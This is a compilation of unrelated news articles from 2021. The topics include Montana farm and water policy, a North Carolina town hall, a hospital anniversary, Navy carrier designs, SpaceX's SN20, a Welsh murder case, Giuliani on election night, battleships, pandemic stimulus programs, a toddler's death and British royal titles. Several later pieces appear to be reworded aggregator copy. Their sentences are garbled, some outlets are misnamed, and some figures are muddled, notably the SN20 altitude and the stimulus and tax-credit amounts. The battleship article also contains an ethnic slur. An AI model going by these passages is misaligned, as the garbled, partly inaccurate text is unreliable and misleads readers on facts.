Montana Farmers Union President Walter Schweitzer said in release he is excited that Biden is addressing several issues that Farmers Union has been discussing.

Farmers Union has been asking the president, Congress, (Department of Justice) and the USDA for decades to address the anticompetitive practices of the corporate monopolies, he said.

He praised the order addressing other issues MFU has pushed for, such as access to markets, right to repair and labeling food products.

Farmers Union and other groups have been pushing for stronger enforcement of the Packers and Stockyards Act for years.

For decades the multi-national packers have dominated the market and decreased our food security, Schweitzer said in the release. The pandemic put a microscope on this broken food system. We must enforce anti-trust laws so that producers will get a fair price for their product, and consumers will always have access to affordable and nutritious food.
Montanas U.S. senators announced today that funding to rehabilitate the source of most of the water in the Milk River passed out of committee.

Sen. Jon Tester, D-Mont., said in a release that up to $100 million in dedicated funding to rehabilitate the Milk River Project is part of a bipartisan infrastructure framework he recently negotiated with the White House and nine of his Republican and Democratic colleagues. The water infrastructure portion of the framework was voted out of committee today with a bipartisan majority.

The release said the framework was directly negotiated by Tester.

Today is a historic step forward in making long-overdue and critically needed investments in the Milk River Project and provide water certainty for folks living and working on the Hi-Line, said Tester. Ive been working for months to get water infrastructure investments into the Bipartisan Infrastructure Framework I negotiated with the president and my Republican and Democratic colleagues, and Im glad my provisions were included in the package. Now its time we get this over the finish line, and Im going to keep pushing to make sure the entire Milk River Project is rehabilitated, so that Montanans on the Hi-Line have access to the water they need for years to come.

Sen. Steve Daines, a member of the U.S. Senate Energy and Natural Resources Committee, voted to approve the proposal.

After years of work, Im glad to finally see funding advanced for the St. Marys Milk River water project, Daines said in a press release.  This funding will help repair critical water infrastructure for Montanas Hi-Line communities and will ensure farmers, landowners and Tribes have access to clean and reliable water.

The diversion, which transports water from the St. Mary River to the North Fork of the Milk River, typically provides close to half or more of the water flowing through the Milk River.

In drought years, it provides up to 90 percent or more of the water in the river.

The system, funded primarily by irrigators in the Milk River Valley, has been patched for years and was on the verge of catastrophic failure, which happened last year when a drop structure collapsed and shut the system down.

Many other major repairs and reconstruction are needed on the project.

Watch for more in Thursday's edition of Havre Daily News.
The family of the late Walter Schreiner greeted guests last week at the Museum of Western Art to unveil the familys private collection of Native American artifacts on loan to the museum and currently on display. The exhibit includes items collected by Walter Schreiner for most of his life. His wife, Teri, their children and grandchildren all attended the event. They are, from left, Weston Daves, 2, Catherine Schreiner Daves, Teri Schreiner, Tres Schreiner, Aimee Schreiner Ives and Isla Ives, 8 months. The Walter Schreiner collection of old and new Native American treasures is on display in one gallery of the art museum; and will remain on exhibit through Sept. 17.
Flat Rock council hears from residents at first town hall

Flat Rock resident John Gerni questions members of the Village of Flat Rock Council about how a COVID relief grant might be used in the village. Gerni spoke during a town hall Thursday night.

FLAT ROCK  The North Highland Lake Road widening project and how the village might spend $1 million in Covid relief money were among the topics Flat Rock residents discussed Thursday evening during a town hall with elected leaders.



Lets have a conversation. Lets see whats on your mind, Flat Rock Mayor Nick Weedman said as he opened the meeting at Pinecrest Presbyterian Church.

About 25 residents attended the meeting, the first in a series of town halls the Village Council plans to hold in coming months.

The widening project on North Highland Lake Road was on the minds of several residents who questioned Weedman and council members. They wanted to know when construction will likely begin, how long it will take, how many lanes will be added to the two-lane road and if the road will impact the Park at Flat Rock.

A few residents said they were concerned about plans to close a portion of the road to replace a culvert near a dam just off the roadway.

Addison Brown, who lives near where the closure will likely take place, said he was concerned about gaining access to his home, emergency medical service access and a wedding that is planned on his property in September.

Anne Coletta, the villages vice mayor, said she would try to get more information from the North Carolina Department of Transportation about how residents will access their property during the closure and a timetable for when the road will be closed for the culvert replacement.

Most of the work to move utilities for the project is complete and construction is expected to begin in the fall. The work to widen the road is expected to take two years, Coletta said.

Once complete, it will include three left turn lanes and a less severe curve near the park. The speed limit will remain at 35 mph.

They are taking most of the property they need from the park, Coletta said. We tried to mitigate some of the negative impact on the park. They will be taking the edge of the park right around.

Coletta said she was also concerned about speeding once the road is widened because it will be easier for drivers to feel comfortable going faster than 35 mph once the road is wider and the curve is less sharp.

Other residents asked about the whether the village expects to receive money from a government Covid relief grant, how much it will receive and how the money will be spent.

The village is expected to receive $1,078,153.45 from the American Rescue Plan grant, Weedman said. But the money must be spent on Covid-related projects and is subject to audit, he said.

The more we learn about it, the more narrow it gets, he said.

John Gerni, who moved to Flat Rock from Brevard a few weeks ago, asked Weedman if the definition of Covid-related was made clear.

Flat Rock does not have its own police department, fire department or public works department, which means much of what could be covered by the grant does not apply to the village, Weedman said.

Were getting more information, he said.

One resident asked if some of the grant could go to the Flat Rock Playhouse. The theater closed in response to the pandemic. It did not hold a season in 2020 and remains closed this summer.

The Playhouse has been severely impacted. We are looking into that, Weedman said. That seems to me it might qualify, but time will tell.

Weedman and others on the council also fielded questions about improvements to the park, nuisance animals, taxes and the possibility that homeless people might be occupying some open land in the town.

Council members said most of the responsibility for homeless people staying on land is up to the property owner but that the Henderson County Sheriffs Department is also available to respond to problems. Henderson County representatives are also available to respond to animal concerns, members said. The council is also considering building raised boardwalks at the park, they said.

The town is not planning a tax increase this year, Weedman said. But property values in the village are likely to increase, he said.

Flat Rock decided to hold a series of town hall meetings as a way to give residents a chance to get involved and speak directly with their elected leaders.

Residents who attended Thursdays meeting gave council members a round of applause at the conclusion.

The next meeting is scheduled for Aug. 12 with the location to be announced.
A DOG grooming parlour in Henley has moved to a bigger premises to keep up with growing demand.

Naughty Mutt Nice re-opened at the former In The Groove record shop in Reading Road, having left the old unit at the junction with Station Road.

The business has grown steadily in the last four years after Karole Robertson took over from Aspen Weatherburn.

The official opening of the shop on Saturday was attended by Mayor Sarah Miller. The new shop has two extra grooming tables and a second bath with a pressurised water spray to make cleaning easier.

It will also sell a wider range of products, such as food and accessories, with a large freezer due to be fitted soon.

Mrs Robertson, who lives in Ruscombe and is originally from Brazil, said: We needed to move because we wanted to have a bit more space. Dogs are more a part of our lives now than they have ever been.

People really rely on their pets in these difficult times and a lot more people are rehoming and adopting them.

We really wanted to give more than we could at the old place. This is a little bit more spread out, which makes it more comfortable for the pets, the customers and our team.

Mrs Robertson is now looking to add a part-time worker to her existing team of four. Councillor Miller, who has a two-year-old miniature schnauzer called Monty, is a regular visitor to Naughty Mutt Nice.

She was also one of the first customers in the new shop and purchased a gift for Monty.

She said: I love it here. I am a bit upset because they used to be 50 yards from my house and now they are 200 yards away, but it is great that they are expanding and it is a mark of their success.
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Piedmont Henry Hospital celebrates 42nd anniversary

Special Photo Piedmont Henry Hospital celebrates 42nd anniversary.

STOCKBRIDGE  Since Henry General Hospital opened its doors on July 9, 1979, the hospital has more than doubled its beds, joined the Piedmont Healthcare system and continues to grow.

Annually, Piedmont Henry treats 13,000 in-patient residents and nearly 60,000 outpatient visitors. According to hospital officials, its emergency department is the busiest among the Piedmont system treating some 90,000 people every year.

We have grown alongside Henry County and feel honored to provide care for our friends and neighbors in the community, said Lily Henson, M.D., CEO of Piedmont Henry. That relationship has never been more important than it was over the past year. Citizens from throughout the county showed their support for our frontline workers, and our staff did an amazing job caring for our patients during the COVID-19 pandemic.

Over the past several years, Piedmont Henry has made several additions and improvements to the hospital. The emergency department expanded and the hospital also added a 20-bed observation unit, a transitional care unit, a dedicated obstetric emergency department for expecting mothers and a state-of-the-art interventional radiology suite. All of those additions played a vital role during the pandemic when space for patients was at a premium and many of them required specialized care, hospital officials said. Piedmont Henry also used buildings on its campus to stand up monoclonal antibody therapy units and helped businesses and organizations in the community with their vaccination efforts.

In the midst of the COVID-19 pandemic, Piedmont Henry was able to launch some new services and earn recognition and awards for the care provided. The hospital launched robotic-assisted surgery last summer and now have numerous surgeons providing minimally-invasive procedures on the da Vinci surgical system. Piedmont Henry has also received two consecutive A grades from The Leapfrog Group, a national distinction recognizing the hospitals achievements protecting patients from errors, injuries, accidents, and infections.

The hospital was named the Henry County Chamber of Commerces Business of the Year this year and received the Silver Performance Achievement Award from the American College of Cardiologys NCDR Chest Pain MI Registry, which recognizes Piedmonts commitment and success in implementing a higher standard of care for heart attack patients. Most recently, Anthem Blue Cross and Blue Shield has designated Piedmont Henry Hospital as a Blue Distinction Center for Knee and Hip Replacement.

It is our goal to provide high-quality, safe, patient-centered care, Henson said. I am so proud of this team and its ability to continue to provide the best care during the most challenging time in their careers.

For more information about Piedmont Henry, visit www.piedmont.org.
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What if the US Navy ditches expensive Super Carriers in favor of smaller carriers? The navy has to decide if shifting to smaller carriers is worth the savings that come with tradeoffs in the upcoming power competition, when capabilities will matter a lot.

On one side is a smaller cheaper force that will come with fewer capabilities, which will compromise US forces. Already heavily armed PLA and Russia are getting big for more punch on the battlefield.

One argument for a smaller mobile naval force is that it's less of a target. True, but how can they go toe to toe if there would be less substantive air support for US forces.

Ships like the Nimitz class and the Ford class offer incomparable offensive power for one nation. Smaller carriers will be more but do not have the firepower on the same level.

Why is it such a big deal?

Big carriers have more to offer in capabilities but are smaller that will affect how much military power can be brought down. If in any case, the US Navy ditches expensive supercarriers that precludes the need to ask support from airbases, reported the National Interest.

Read also: US Navy Tests and Detonates a 40,000lb bomb Close to New US Aircraft Carrier to Shock Test its Superstructure

For example, carriers of the Nimitz can carry at least 50-plus aircraft with interceptors, support planes, and others on board. The more planes translate to more projected firepower plus more support ships in a carrier strike group. Here are some examples of proposed carrier designs for the Navy.

An amazing image of @Gipper_76 taken from a MH-60S Sea Hawk helicopter while operating in the Indo-Pacific region. #CVN76 pic.twitter.com/d3zjOcdjEg  Aircraft Carriers (@aircraftcarrier) July 6, 2021

The CVN-8X is a lesser version of the new 100,000-ton Ford-class carriers, but the nuclear reactor cannot be replaced. Its service life is finite, but will still have three of its four catapults still installed.

Another one is the 70,000-ton CVN LX that is similar to Forrestal ships in the 50s, a throwback. Powered by hybrid nuclear-conventional engines, only one reactor not two. It has a considerable airwing, but better than Nimitz class carriers. It's slow and more vulnerable with fewer sorties for its planes. This carrier will not be as capable as the ones in service, noted Yahoo News.

Next is the CV LX at 43,000-tons similar to American amphibious assault ships with no catapults on board. About 25 F-35Bs with 50 sorties only, not recon and electronic warfare aircraft, will need support. A sitting duck with no air superiority, and is not as capable as current Nimitz class carriers.

It's the smallest kind, the CV EX which is a mere 20,000-tons that is powered conventionally with only six to ten short take-off aircraft on its flight deck which is very diminutive. It comes cheap too at $2.5 billion per ship, but it takes four to be worth operating said RAND.

It shows the problem with everything smaller and is limited in operation to participate in.

What does RAND say?

Research and Development Corporation (RAND) is not favorable to any alternative for choices to replace the supercarrier when it comes to the price tag. One requirement to operate an F-35C is a catapult and arresting wires, but smaller ships like the America class will have jump jets like F-35B or helicopters, cited Flipboard.

A tradeoff is lacking the ability to use E-2 radar aircraft or EA-18 electronic warfare planes, that makes smaller carrier less than capable, according to Brad Martin. He is an ex-navy officer and a RAND researcher, saying the platform did not offer any advantage.

Related article: Light Carrier Studies Show Advantages They Have for the US Navy

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When will the SpaceX Starship SN20 launch date be? This comes after the race to space has been started by Elon Musk and his fellow billionaires making a stake in space.

Planned for launch in the coming weeks, the space vehicle will be the successor to the SN15. Probable places for the takeoff will be at the Boca Chica facility where rocket blasts off to space. Super Heavy Booster BN4 rocke will be used this time.

According to Space X, preparations to send up a full Starship system in orbit is ongoing. They've sent their flight plans to the Federal Communications Commission (FCC), which manifest that the SN20 launch is getting closer.

First steps to the commercialization of space

It is vital for the SN20 to be sent to space as it will have improvements over the SN15. Sources say that it will be the first SpaceXrocket to launch and reach a top most height of 32,000 feet into the atmosphere. One of the technical feats expected in the mission will be landing the spacecraft in one piece, reported the Express.

Other versions the SN8, SN9, SN10 and SN11 had the same goal but went crashing down to earth in a fiery blaze.

Taking into account the past failed landings, the space agency hopes the SN20 will be able to achieve a controlled landing. Accomplishing it will allow to develop commercial and reusable rockets for space commerce.

When the SN15 was able to blast off successfully on May 5, many want good news in the next Space X mission. If the SpaceX Starship SN20 launch will be successful, it will be a gamechanger for Elon Musk.

Read also: How will the Chinese Space Station 'Tiangong' Redefine the International Space Station's Mission in Space?

Adding another element

The next mission will be the first time the Super Heavy Booster will be used, connected to Starship SN20.

It is a prototype called the BN4 which is 230-feet tall. When connected to the main space vehicle, they will be the full Starship reaching a total height of 400-feet tall in its full configuration.

But, the machine is under fabrication, said the source, nearing completion said the source.

Will the launch be soon?

Should the spacecraft be lifting off this week, it would mean roads to be closed and flights in and out will be restricted in Cameron County, cited NY Times Post

Another precaution is the danger of debris should the craft explode in mid-air. There is no guarantee the launch will be uneventful.

This week on July 12, several roads were closed last Monday to Thursday as precautions for public safety. Schedules for beach and road closures are on Monday 12-8 pm, Tuesday 12-10 pm, then Wednesday and Tuesday.

All the flight in the area are cancelled in Cameron County for the week. So, it might be that SN20 going to lift off any time this week.

For the most part, these flight cancellations or road closures are not usually called for in short notice. The space agency will be checking the situation until the SN20 is ready for its next mission to be set.

Still, there is more of a chance for the mission to go next month, at the latest. When the vehicle will be launched is not revealed though verified dates will be announced the last minute.

The expected date when the BN4 booster is ready will be at July's end. Achieving a soft landing with the entire Starship is the goal, said the FCC.

The SpaceX Starship SN20 launch is still tentative but if it succeeds, it will be technical feat for multiple use spacecraft, noted World News Here.

Related article: Chinese Astronauts of Tiangong Station Executes First Space Walk, Stayed Out for Seven Hours Working

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A woman said that her son-in-law ended her daughter's life brutally, but she later heard through someone in the same prison that he relished what he did. The convicted killer showed no remorse what her did to his wife.

About ten years or more has passed after Catherine Broomfield heard that Kristy Grabham, 23, had died an untimely death. Hearing the news, it took her by surprise.

Based on the reports, the body of the slain woman was discovered inside a suitcase that was discovered by the M4 close to the Bridgend in Wales. It was speculated that the spouse, Paul Grabham was the one who threw out the suit case from a car window.

A marriage ended in murder, and a mother grieved for her unfortunate daughter.

Bad husband

Sources say that Grabham and Kristy were married a few months before he ended his wife's life, placing her in the case. He attempted to fit her easily inside but failed, cited WalesOnline.

Inside the case, the body was still warning when it was found, and indication the victims was killed recently. Before the crime, the couple were both arguing while in a night out in Swansea.

Evidence indicates that the killer ended Kristy's life after she arrived after him. Signs of a physical assault, then cutting her breath.

For the heinous act, he was tried in a Swansea Crown Court but was convicted despite denying the charge. A sentence of nineteen years was given for the conviction. Catherine's son-in-law ended her daughter's life and paid for it, noted FlipBoard.

Read also: Old Japanese Woman Dubbed "Black Widow" Given Death Penalty After Poisoning, Getting Inheritance from 6 Husbands

A terrible development

After twelve years, the family of Kristy is experiencing pain. Catherine has to relive the awful slaying of her daughter via documentary of what happened years ago.

The family never authorized the serialization, that was aired on July 2021. All the events alleged were for public view, much to the loved one's dismay, reported Mirror UK.

Included in the documentary is a comment from someone who said that Paul Grabham was a fellow inmate. The mother later said the program did not sit well with her.

The anonymous individual mention that convicted killer had boasted how he ended his wife's life, while in prison. Catherine said it made her sick to hear such cold words, and it's hard to forget.

A mother's grief got worse

Hearing how Grabham ended her daughter's life again, even making a big deal in prison has angered the family, with grief and pain. Catherine despised Grabham more, for taking away her child.

After Kristy's untimely passing, the Broomfields were never the same after that. To ease the pain, the mother of Kirsty authored books about abusive relationships, and what to do.

Trauma from the death made her reach out to others, to deal with her own. Many people in the same situation were encouraged to reach out.

Six years ago, she helped a woman leave a toxic relationship with a violent, abusive husband. Telling what happened to Kristy, and made her leave and go to a women's refuge.

Later tragedy for Catherine as Kristy's sister Hayley had died from alcoholism, she said her daughter was a lovely soul.

She has expressed fears for the family's safety, and said that Paul should be transferred. Fear of him has made her consider leaving Swansea. Her son-in-law ended her daughter's life, terrifies till now.

Related article: Body of Kentucky Woman Missing Since 2015 May Be Found in 'Difficult to Reach Location'

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Former New York City Mayor Rudy Giuliani is said to have enraged former President Donald Trump's advisers by encouraging him to proclaim victory based on nothing on election night 2020.

An excerpt from the book "I Alone Can Fix It," which was published Tuesday in The Washington Post, recounts election night 2020 inside the Trump campaign, describing how Giuliani began telling other guests at the White House's viewing party that he had won. Some speculated that Giuliani had too much alcohol "as stated in the book.

Giuliani allegedly encouraged Trump to proclaim victory

According to reports, Giuliani then conveyed this approach to Trump campaign manager Bill Stepien, White House Chief of Staff Mark Meadows, and senior adviser Jason Miller, encouraging them to claim victory in several states before the ballots were tabulated and predictions were produced.

"Giuliani's grand plan was to just say Trump won, state after state, based on nothing. Stepien, Miller, and Meadows thought his argument was both incoherent and irresponsible," the book says.

Meadows is said to have raised his voice as he warned Giuliani, "We can't do that. We can't." Giuliani, on the other hand, is said to have urged Trump to give an early victory speech, saying, "Just go claim victory right now." Trump's aides were "enraged," according to the book, but Trump delivered give a speech in which he falsely claimed to have won the election.

Trump's campaign advisers were said to be "infuriated" by Giuliani's suggestion, according to the authors, especially since Trump was certain that he would win re-election in the run-up to the election.

He'd recently returned from a quick tour of the swing states, where he drew enormous audiences who had traveled long distances to see the president despite the danger of contracting the coronavirus. Due to the COVID-19 threat, Biden declined to attend huge rallies, therefore there was no apples-to-apples comparison, as per Daily Mail.

Read Also: Donald Trump Confirms Running in 2024 Election, Attacks Biden, Big Techs in His Speech

Trump's election fraud claim

Florida, Trump's adopted home state and a place where the campaign spent a lot of time courting Latino voters, looked promising early on; and the former President appeared to be on his way to winning the swing state. When Stepien warned Trump that it was going to be good early, Trump disregarded him. The aide indicated to Trump that he may be up when the polls closed; but that once mail-in votes, which are more likely to be used by Democratic voters, were counted, his advantage would be chipped away.

When Trump noticed the statistics changing, he speculated that something was wrong. Trump's spokesperson denied that he ever stated such a thing.

According to the authors, Trump informed adviser Kellyanne Conway that something "nefarious was at play." Trump's early declaration of victory and concern about votes paved the way for what would become known as "the big lie."

Per The Independent via MSN, Donald Trump appeared to act on Giuliani's claimed advice, saying, "This is a fraud on the American public. This is an embarrassment to our country. We were getting ready to win this election. Frankly, we did win this election."

Since then, Trump has filed a slew of lawsuits in an attempt to establish election fraud, none of which has produced any serious proof of wrongdoing. His false claim that he had won the election led to the invasion of the US Capitol on January 6, which lost five lives.

Trump was impeached a second time by the House of Representatives, this time for encouragement to insurgency before the Senate acquitted him. He was the first and only president of the United States to be impeached twice.

Related Article: Rudy Giuliani's New York Law License Suspended Over False 2020 Election Claims



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In any Navy, these battleships are powerful surface combatants but there are limitations to their invincibility. Despite all its bristling weapons at its disposal, it will sink if a hole is placed in its hull.

Call them floating battlewagons with armored hulls made to duke it out with large guns, or other kinds of weaponry to destroy other ships.

Even those touted as the most powerful ships have been sunk or destroyed due to various causes. These giant battlewagons of the sea are rare but a few are in service. Now, destroyers or frigates, subs, and aircraft carriers are the emphasizes of navies today.

Many ways to kill a Man-O-War (battleship)

Seen in five historical examples and applicable to all ships, these methods of killing them are presented. These examples vary how these ships were overcome like the Bismarck that was done in by a torpedo. When the Royal Navy came, it was open season on the damaged ship, reported the Nationalist Interest.

Combat aircraft

When planes were first used in 1939 they have been sinking battleships. In 1940, the Swordfish torpedo bomber was used in an attack on the Italian fleet at Taranto harbor. This bombing was able to sink one ship and damage three more.

The might of the American fleet was laid low by an air sneak attack in Pearl Harbor by the Japanese Imperial Navy bomber and fighters. Japanese planes were able to sink the Prince of Wales and the Repulse that were great losses for the Royal Navy. Battleships are powerful surface combatants but proved useless in these circumstances.

Read also: DDG-1000 Zumwalt Destroyer Needs More Features to be Called a Battleship

Other ships can sink them

Battleships are tough weapons for slugging it out broadsides, hitting other ships to sink or disable them. In Tsushima, Russian battlewagons were destroyed with skilled bombardment by the Japanese Navy, noted Yahoo News.

An encounter at Jutland in sea battle led to scrapping three British battlecruisers cause by German firepower, while the US got revenge by sinking two Jap battleships in the Surigao Strait in 1944.

Death by submarine torpedo

Submarines have notoriously sunk these ships without being detected most of the time by using a torpedo. In 1914, in December when a UK submarine sunk the Turkish ship Mesudiye, also in 1915 May, a German U-boat U-21 scrapped the HMS Majestic was sunk in Gallipoli.

The use of subs on each side had them sinking each other's ships. They proved to be effective as anti-shipping weapons.

Explosive mines

Mines are simple and deadly that took out several battleships in World War I. One of them is the Russian ship Petropavlovsk that hit a mine in April 1904 in the Russo-Japanese War. In 1915, there were three Allied ships destroyed the same way while supporting the Gallipoli landing operations, cited Flipboard.

Unlucky accidents

Sometimes, a battleship becomes a victim due to bad luck. Liberte, a French ship blew up in 1911 because of explosives going off in its magazine. The Japanese had one ship blow up in 1943 due to an intentionally detonated magazine, said to be done by one crew member.

All Battleships are powerful surface combatants but they were brought down for these reasons. The best armor or weapons are not a guarantee. Modern combat makes them a liability.

Related article: Weapons on the Heavily Armed US Navy Ticonderoga Class Aegis Guided-Missile Cruisers

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Since the coronavirus pandemic began, Americans have gotten three distinct stimulus checks. What's coming up this week, on the other hand, is something completely different. It isn't a fourth stimulus check in the normal sense. The stimulus payment made this week is essentially an advance payment of a federal tax credit even if it is in the form of six monthly payments that beneficiaries will get until December.

Uncle Sam is giving a present to millions of Americans - about 36 million, according to the IRS - later this week. It will take the shape of a long-awaited fresh stimulus payment, with checks expected to arrive on July 15, totaling a few hundred dollars at the very least. Even better, this fresh round of stimulus payments will be the first in a series.

How much will each family receive in total?

The programs provide enormous financial assistance. Through a mix of direct cash payments and tax credits, they may provide a low-income working family with two children under the age of six with as much as $40,000 in benefits.

To be sure, not every family will be eligible for all of the potential stimulus payments. Even little amounts of aid may make a significant impact on those in financial trouble. The following is a list of accessible programs that were developed as a result of numerous stimulus packages that were approved during the pandemic, as per CBS News:

Three rounds of stimulus checks

The IRS has issued three rounds of stimulus checks based on household income and the number of children in the family. The payment amounts and qualifying conditions for each round were different. However, millions of families qualified for all three, resulting in a total of $11,400 in direct payments for a family of four with two children under the age of 17.

To be sure, the vast majority of this money has already been distributed. However, the IRS said in June that it is still handing out stimulus checks from the most recent batch, which paid $1,400 to each qualified adult and child. It's also continuing to provide "plus-up" payments, which are extra payments for households who haven't received all of their entitlements.

Food stamps

During the pandemic, the food stamp program was expanded to provide bigger benefits to those who qualify, as well as a new program for children who may have missed in-school meals due to the widespread transition to remote learning. Through September 30, the American Rescue Plan has prolonged a temporary 15 percent increase in food stamp payments, amounting to roughly $27 in extra benefits per person per month.

The Pandemic EBT program, which helps school children gain access to food, was also extended through the summer as part of the stimulus package. When the crisis shut down schools last spring, Congress established the P-EBT program, which provides prepaid cards that let families purchase food at grocery shops and other outlets.

Unemployment benefits

Except for the 26 states that have stated they would stop the programs early, some pandemic unemployment programs are still in effect until early September. According to the National Employment Law Project, an advocacy group, the cancellation of unemployment help in states ranging from Texas to New Hampshire would affect 4.7 million jobless people. Workers who have lost their employment in the other 24 states, on the other hand, can apply for the benefits, which include an extra $300 in weekly payments.

Federal aid for renters

Renters who qualify for the Emergency Rental Assistance program, which is aimed at low- and moderate-income families that lost a job or income due to the pandemic and are at risk of homelessness or housing instability, have received $25 billion in pandemic relief funds.

Rent assistance is available for up to 15 months to qualified renters. People should, in general, apply via their state. To discover your state's application portal, Google your state and "Emergency Rental Assistance." Pay stubs and a recent lease showing your rent amount, among other papers, are typically required.

Read Also: Stimulus Check Round 4 Not Received? IRS Will Assist Release; Child Tax Credit of $300 Per Kid Starts July 15

Earned Income Tax Credit

The EITC (Earned Income Tax Credit) has been around for a long time. The American Rescue Plan, however, increased the benefit, which is aimed at low- and middle-income families. For example, single taxpayers without children must earn less than $21,000 per year, while married couples with three children must earn less than $57,400 per year.

The credit's maximum amount was also doubled this year, so single taxpayers without children may expect to get $1,502 in 2021, up from approximately $500 before. Families with three or more children will earn the most EITC, at more than $6,700 per family.

Child and Dependent Care tax credit

The Child and Dependent Care Tax Credit haven't gotten as much attention as the increased Child Tax Credit, but it may provide a significant boost to working families in the current tax year. The Child and Dependent Care Credit is designed to assist families that need to pay for child care so that their parents may work.

The credit has been increased from $3,000 to $8,000 per child, with a maximum of $16,000 per household. The maximum amount of child care expenditures you may claim has been increased from 35 percent to 50 percent of qualifying expenses. For example, if your child care costs $16,000 per year, you may be able to claim up to $8,000 through this tax credit.

Child Tax Credit payments

The increased Child Tax Credit (CTC), which would pay $3,600 for each child under the age of six and $3,000 for children from six to seventeen, is another major stimulus package that might affect up to 36 million households. The CTC operates by paying half of the credit in cash over six months, from July to December. To put it another way, a family with one child under the age of six will receive a $3,600 credit, with $1,800 paid in cash over the next six months - or $300 each month.

Per BGR via MSN, this new payment will be delivered to recipients in the form of a direct payment or an electronic bank deposit, as is customary. This week's stimulus payment is aimed squarely towards families with children. As a result, the payouts are considerably more targeted than the previous three stimulus checks, which were intended for almost everyone.

Eligible citizens are urged to apply for stimulus checks

According to estimates, over 7500 checks have still to be claimed. The majority of residents do not appear to have received aid. Many people benefited from government funding. However, it appears that a significant section of the population is missing out on the financial benefits. Stimulus checks can be used to aid with costs or to increase savings. According to an official, it should be claimed by everyone who qualifies.

The nonpayment of taxes was shown to be a significant issue. A poll showed the majority of residents do not file income tax records. People should go to the IRS website, according to a well-known official. They can search to see whether they are eligible. Filing a tax statement was the easiest approach to claim a stimulus check. A worker, Mathew Gladwell, advised everyone to get their specified assistance.

Citizens who have already filed their tax returns will shortly receive their money. The funds will be sent automatically to their bank accounts. Aids worth $2800 are up for grabs for each individual. If a citizen has dependents, the total payment may rise, Digital Market News reported.

Related Article: New Stimulus Checks Will Bring $1,000 to Each American; Here's What It Is and How to Be Eligible for It



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Washington police are investigating how a female toddler was fatally injured when furniture fell on her. They are looking into charges of homicide and mistreating a child to convict the erring parents for what they did.

A 14-month-old-toddler girl died when a dresser fell on her. By the time authorities arrived, the child was cold and lifeless, noted the Spokesman-Review.

Based on the incident, the unidentified mother, 20-years-old called 911 to report what happened in their South Hill apartment on July 3rd. The first to arrive at the scene was a firefighter at the residence who checked for signs of life. However, it was too late and the toddler had passed away, reported Crime Online.

The mother was questioned by the police about how the heavy furniture fell on the child and killed her. Authorities checked the home and found a mattress in the master's bedroom lying on the floor, and another propped against a closet. They noticed that the mattress on the closet was nearby the dresser with drawers open while the toddler was fatally injured.

Read also: 7-Year-Old Girl's Body Bore Abuse and Trauma, Parents Suspected of Years of Neglect

One news outlet KHQ said that the deceased baby girl had the back of her head lacerated deeply. Also, the coroner had noted many bruises with various degrees of healing.

The Details

When interrogated by the police, the mother said that she left at 5 p.m. for work, but added that their 25-year-old dad was with the female toddler and a 3-year-old sibling when she left. She arrived at 2:30 a.m. the next day and went to bed without checking the kids.

Later she claimed waking up at 1 p.m. but she never bothered to check until 3 p.m. She got the kids from their room and gave them peanuts. This sequence of events was a point of interest.

After giving the kids peanuts and returning them to their room, the dad said the dresser fell on the toddler.

A call was made to summon 911 a bit after 4 p.m., but the father claimed that he was not supervising the children before the emergency call. He added that the toddler was on the mattress when the dresser dropped on the child.

Police were suspicious when they saw the 3-year-old wearing only a diaper looking unwashed. The room was like a pigsty and the apartment was filthy as well.

Despite the claims of the parents about the child's time of death, the coroner said the 14-month-old-toddler was lifeless for more than one hour already. Apart from that, she lied that the kids were fed after she called 911.

The mother's claims of how the toddler died are not holding up, as the coroner says that cause of death is pending.

Police are having doubts about the parents and asked for a warrant to see items of interest, but how the deceased child got the cut on her head is unknown. Authorities are looking at it as an indication of child neglect and abuse.

The remaining sibling was taken by the state, but no arrests were made yet.

Related article: Man Who Steals Corpses of Girls, Dressed Them Up as Dolls, Refuses to Apologize to Their Parents

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Prince Charles reportedly will prevent his brother Prince Edward from becoming Duke of Edinburgh. However, the action by the Prince of Wales goes against his father, Prince Philip's, wishes for his demise.

The title of Duke of Edinburgh can be carried down through the royal family. And the former Duke of Edinburgh, who died in April at the age of 99 and was buried in front of 30 mourners at Windsor Castle's St George's Chapel, intended his son Edward to take up the title if he died.

However, Prince Charles is prepared to veto the proposal because he wants a "slimmer monarchy" as the future King. The funeral was attended by Prince Edward and his wife Sophie, as well as Charles and Camilla, the Duchess of Cornwall.

Is Edward fit to receive his father's title?

A source close to Prince Charles told the Daily Mail that the title Prince is not about if Edward becomes Duke of Edinburgh by rite or not as there are discussions about the top tier of the Royal Family. "It isn't just about whether Prince Edward becomes Duke of Edinburgh by the rite of passage or not, there have been discussions about the whole top tier of the Royal Family."

Prince Charles, who inherited all of his father's titles as Philip's eldest son, has stated that he is opposed to the concept. According to a source close to him, the Prince is now the Duke of Edinburgh, and it is up to him to decide what happens to the title, which will not pass to Prince Edward.

It's difficult to imagine anything more heartbreaking for the Queen's youngest son than those final six words' brutal certainty. He was not only certain in his claim to the title, but he is also a trustee of his father's most enduring legacy, the Duke of Edinburgh Awards system, and is generally anticipated to succeed him as a patron.

Prince Edward and Sophie, the middle-class daughter of a tire business executive who has gotten particularly close to Queen Elizabeth II, would have a lot of compassion. Sophie has grown into a trustworthy and dependable working family member after a rocky start.

Read Also: How Lilibet's Christening Could Mend Prince Harry, Meghan Markle's Rift With The Royal Family

Why Prince Charles won't allow Edward to be the Duke of Edinburgh?

According to royal commentator Richard Kay, Prince Charles' ambition to simplify the monarchy may explain why the Prince of Wales refuses to pass on the Duke of Edinburgh title to his younger brother. When Prince Charles becomes King, reported plans to reform and modernize the Royal Family structure, never confirmed by Clarence House, may see just the core members of the Firm carrying titles - himself, Camilla, and the Cambridges.

As a result, Kay believes Prince Charles would prefer that his grandson and probable future working royal Prince Louis, rather than Prince Edward and, potentially, his son James, Viscount Severn, bear his father's title, Daily Express reported.

After Prince Philip's death on April 9, Prince Charles inherited all of his father's titles, including the prestigious Duke of Edinburgh title. His titles will combine with the Crown when he becomes King, and it will be up to him to decide whether to bestow them on his close relatives or keep them in abeyance.

Per The Sun, Prince Philip is believed to be fully aware of Prince Edward's limited options compared to Charles' abundance of titles - something the future King is supposed to be rethinking as he prepares for his upcoming reign. According to reports, he prefers fewer royal titles and commitments than his predecessors, implying that the Duke of Edinburgh title may be dropped.

Prince Edward is believed to be aware that he will not be awarded the title without a confrontation. The Earl of Wessex previously stated that the title was "bittersweet" since it could only be given to him "when both my parents have truly passed away."

Related Article: Prince Charles' Offensive Comment Sparks Massive Fight With Princess Diana's Brothers After Death, Royal Source Claims



